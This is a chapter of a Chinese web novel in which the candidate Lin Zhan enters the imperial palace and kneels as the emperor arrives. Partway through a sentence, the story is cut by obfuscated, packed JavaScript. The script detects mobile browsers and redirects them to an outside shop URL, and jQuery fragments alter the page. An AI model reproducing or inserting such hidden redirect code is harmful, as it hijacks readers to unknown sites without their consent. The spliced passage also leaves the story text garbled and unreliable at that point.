第一百八十六章入宫


    寅时三刻，天还墨黑着，竹石居已经醒了。


    厨房里亮着灯，赵师傅在煮面。铁柱帮着烧火，眼睛还半眯着，脑袋一点一点的。面条是昨晚就擀好的，细而筋道，下锅滚两滚就捞起，浇上清鸡汤，撒点葱花。


    “少爷，吃面。”铁柱端碗进书房时，林湛已经穿好贡士服，正在束腰带。


    深蓝色的罗袍在烛光下泛着幽光，胸前那只鹌鹑补子绣得精细，针脚细密。陈致远借的皮护膝已经绑在膝上，沈千机给的锦囊揣在怀里，周文渊他们整理的那本册子……昨夜又翻过一遍，此刻已牢牢记在脑中。


    林湛坐下吃面，热气熏着脸。赵师傅站在一旁看着，忽然叹口气：“要是在老家，这时候该放炮仗了。”


    “京城不让放。”铁柱接话，“昨儿我还问过巡夜的军爷。”


    “规矩多。”赵师傅摇头，又往林湛碗里夹了块鸡肉，“多吃点，这一去得站到午时呢。”


    正吃着，青云诸友都进来了。他们也都起了大早，虽不用入宫，但坚持要送一程。


    沈千机绕着林湛转了一圈，像看什么货品：“嗯，袍子平整，腰带端正，靴子干净……就是头发，铁柱你再给抿抿，鬓角这儿有点毛。”


    铁柱忙拿了梳子沾水，仔细抿好。


    王砚之递过一个小油纸包：“里头是几块糖糕，万一饿了垫垫。不过宫里规矩大，未必能让吃。”


    李慕白则检查了林湛的拜帖和身份文书：“都在，齐全。”


    周文渊推着眼镜，最后叮嘱：“从东华门入，经左顺门到太和殿前广场。这段路大概要走一刻钟，期间不能左顾右盼，但有三次转弯处，可借机用余光观察周围建筑布局——万一皇上问起，能答上来是加分项。”


    陈致远没说话，只拍了拍林湛的肩膀。


    辰时初，该出发了。


    院门打开，巷子里还静悄悄的。但走出几步就发现，不少街坊的窗里都亮着灯。有人推开窗探头看，有人站在门后悄悄瞧。


    卖炊饼的刘大爷已经在生火，见了林湛，咧嘴一笑，比了个大拇指。巷尾的吴木匠站在自家门口，无声地拱手。


    走到巷口，陈致远昨日联系的两位京营旧友已经等在那里，牵着匹马——还是殿试那日那匹白马。


    “我们送林公子到东华门。”其中一人道，“这一路清净。”


    果然，走的还是那条僻静巷道。天色渐青，东方泛起鱼肚白。偶尔经过的胡同里，能看见其他贡士的车马，也都是蓝袍身影，匆匆往宫城方向去。


    快到东华门时，已能看见一片深蓝色的人潮。三百多名贡士，加上随行的家人、书童、车马，把宫门前那片空地挤得满满当当。礼部的官员穿梭其间，喊着“按会试名次列队”“查验文书”“勿要喧哗”。


    林湛下马，谢过两位军士，转身汇入那片蓝色。


    人群里，他看见几张熟悉的面孔——有会试时邻座的，有在礼部衙门领文书时打过照面的。大家互相点头致意，但没人说话。气氛肃穆，只有礼部官员的吆喝声和马匹偶尔的响鼻声。


    “林兄！”有人轻声唤他。是同科贡士孙文清，也是寒门出身，会试排在第二十七名。


    两人并肩站着等候查验。孙文清小声道：“林兄昨夜可睡得好？我几乎没合眼。”


    “还好。”林湛答。其实他也醒了好几次，但这话不必说。


    “我听说……”孙文清声音压得更低，“今科一甲，可能要从会试前十中出。林兄，你六元有望啊。”


    林湛正要说什么，前面礼部官员喊道：“会试第一名，淳州林湛——验文书！”


    他忙上前递上文书。那官员仔细核对，又抬眼打量他，点点头：“入列，甲字第一队。”


    甲字队是前十名贡士的队伍，站在最前列。林湛走过去，已有几人在那里。大家都穿着一样的蓝袍，但气质各异：有沉稳如松的，有紧张得手指轻颤的，也有闭目养神状若入定的。


    身后传来低声议论：“那就是林湛？”“看着真年轻。”“听说会试文章被几位读卷官争相传阅……”


    林湛只作没听见，站得笔直。


    卯时正，宫门缓缓开启。


    沉重的朱漆大门发出“嘎——”的长响，门内是长长的宫道，青石板铺就，一眼望不到头。两侧是高耸的红墙，墙头琉璃瓦在晨光中开始泛起金色。


    礼部侍郎亲自站在门内，朗声道：“诸贡士听令——按队列顺序，随引导官入宫。步履要稳，目不斜视，不得交头接耳。”


    三百多人的队伍开始移动。靴子踏在青石板上，发出整齐的“嗒、嗒”声。宫道两侧每隔十步就站着一名侍卫，身着飞鱼服，腰佩绣春刀，目不转睛地盯着这支蓝色的人流。


    林湛走在最前列，能清晰看见前方引导官袍角晃动的节奏。他按周文渊教的，在转弯处用余光扫视——左顺门的匾额、文华殿的飞檐、还有远处太和殿那巍峨的轮廓。


    走了约一刻钟，眼前豁然开朗。


    太和殿前广场，汉白玉铺地，宽广得能容万人。此刻广场上已经摆好了香案、礼器，礼部、鸿胪寺的官员各就各位。正前方，那九重汉白玉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289295|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    台阶之上的太和殿，殿门紧闭，但御座已经摆好，在晨光中泛着威严的金光。


    贡士们被引导到指定位置列队。每人之间相隔三步，整齐划一。林湛站在第一排正中，正对着太和殿的御道。


    站定后，就是漫长的等待。


    辰时的太阳渐渐升高，晒在蓝袍上，有些暖意。但广场上风大，袍角被吹得猎猎作响。有人忍不住打了个喷嚏，立即被旁边的御史瞪了一眼。


    林湛默默调整呼吸，让自己站得更稳。膝盖上的皮护膝起了作用，站久了也不觉酸疼。怀里那块不知谁送的玉佩贴着胸口，温温的。


    时间一点点过去。礼部的官员开始最后检查仪仗，鸿胪寺的赞礼官在低声核对流程。偶尔有太监匆匆走过，脚步声轻得像猫。


    队列里，开始有人悄悄活动脚踝——厚底官靴站久了确实累。林湛想起沈千机说的“站柜学问”，便试着微微调整重心，左右脚轮换承力。


    巳时初，钟楼上传来悠长的钟声。


    “皇上起驾了——”远处传来太监尖细的传报声，一声接一声，由远及近。


    广场上所有人瞬间绷直了身体。礼乐声从远处响起，先是隐隐约约，渐渐清晰。那是宫廷雅乐，庄重而缓慢，配合着某种庄严的节奏。


    太和殿的殿门缓缓打开。


    林湛能看见殿内深处的御座，金龙盘旋，在透过殿门的阳光下闪闪发光。太监、宫女、侍卫鱼贯而出，在御道两侧整齐列队。


    乐声越来越近。终于，一队仪仗出现在广场入口：龙旗、金瓜、钺斧、扇、伞……各种礼器在阳光下耀眼夺目。仪仗队后，是一顶明黄色的御辇。


    三百多名贡士，在礼部官员的示意下，齐刷刷跪倒在地。


    汉白玉地砖冰凉，即使隔着皮护膝也能感觉到。林湛俯首，额头轻触手背，视线落在眼前三尺处——那里有一道石缝，缝里长着细细的青苔。


    乐声在广场上回荡。御辇在太和殿丹陛下停住，太监掀起帘子。


    一双明黄色的靴子踏出，落在铺着红毯的台阶上。


    然后，是第二级台阶，第三级……脚步缓慢而沉稳，一步一步，走向那至高无上的御座。


    广场上静得能听见风吹旗幡的声音。


    林湛保持着跪姿，一动不动。他能感觉到身边孙文清轻微的呼吸声，也能感觉到身后几百人共同屏住的那一口气。


    终于，脚步声停在了最高处。


    一个苍老而威严的声音，从太和殿前传来，通过赞礼官的传报，响彻整个广场：


    “诸贡士——平身。”